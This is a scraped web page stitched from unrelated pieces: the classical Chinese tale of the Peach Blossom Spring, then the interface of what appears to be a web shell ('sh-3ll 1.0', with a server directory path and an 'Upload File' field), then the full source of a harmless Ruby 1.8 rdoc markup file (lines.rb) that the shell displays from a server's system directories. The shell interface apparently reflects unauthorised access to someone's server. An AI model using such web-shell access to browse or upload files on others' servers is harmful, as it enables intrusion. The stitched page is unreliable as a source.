晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/lib64/ruby/1.8/rdoc/markup/simple_markup/
Upload File :
Current File : //opt/alt/ruby18/lib64/ruby/1.8/rdoc/markup/simple_markup/lines.rb
##########################################################################
#
# We store the lines we're working on as objects of class Line.
# These contain the text of the line, along with a flag indicating the
# line type, and an indentation level

module SM

  class Line
    INFINITY = 9999

    BLANK     = :BLANK
    HEADING   = :HEADING
    LIST      = :LIST
    RULE      = :RULE
    PARAGRAPH = :PARAGRAPH
    VERBATIM  = :VERBATIM
    
    # line type
    attr_accessor :type

    # The indentation nesting level
    attr_accessor :level

    # The contents
    attr_accessor :text

    # A prefix or parameter. For LIST lines, this is
    # the text that introduced the list item (the label)
    attr_accessor  :param

    # A flag. For list lines, this is the type of the list
    attr_accessor :flag

    # the number of leading spaces
    attr_accessor :leading_spaces

    # true if this line has been deleted from the list of lines
    attr_accessor :deleted
    

    def initialize(text)
      @text    = text.dup
      @deleted = false

      # expand tabs
      1 while @text.gsub!(/\t+/) { ' ' * (8*$&.length - $`.length % 8)}  && $~ #`

      # Strip trailing whitespace
      @text.sub!(/\s+$/, '')

      # and look for leading whitespace
      if @text.length > 0
        @text =~ /^(\s*)/
        @leading_spaces = $1.length
      else
        @leading_spaces = INFINITY
      end
    end

    # Return true if this line is blank
    def isBlank?
      @text.length.zero?
    end

    # stamp a line with a type, a level, a prefix, and a flag
    def stamp(type, level, param="", flag=nil)
      @type, @level, @param, @flag = type, level, param, flag
    end

    ##
    # Strip off the leading margin
    #

    def strip_leading(size)
      if @text.size > size
        @text[0,size] = ""
      else
        @text = ""
      end
    end

    def to_s
      "#@type#@level: #@text"
    end
  end

  ###############################################################################
  #
  # A container for all the lines
  #

  class Lines
    include Enumerable

    attr_reader :lines   # for debugging

    def initialize(lines)
      @lines = lines
      rewind
    end

    def empty?
      @lines.size.zero?
    end

    def each
      @lines.each do |line|
        yield line unless line.deleted
      end
    end

#    def [](index)
#      @lines[index]
#    end

    def rewind
      @nextline = 0
    end

    def next
      begin
        res = @lines[@nextline]
        @nextline += 1 if @nextline < @lines.size
      end while res and res.deleted and @nextline < @lines.size
      res
    end

    def unget
      @nextline -= 1
    end

    def delete(a_line)
      a_line.deleted = true
    end

    def normalize
      margin = @lines.collect{|l| l.leading_spaces}.min
      margin = 0 if margin == Line::INFINITY
      @lines.each {|line| line.strip_leading(margin) } if margin > 0
    end

    def as_text
      @lines.map {|l| l.text}.join("\n")
    end

    def line_types
      @lines.map {|l| l.type }
    end
  end
end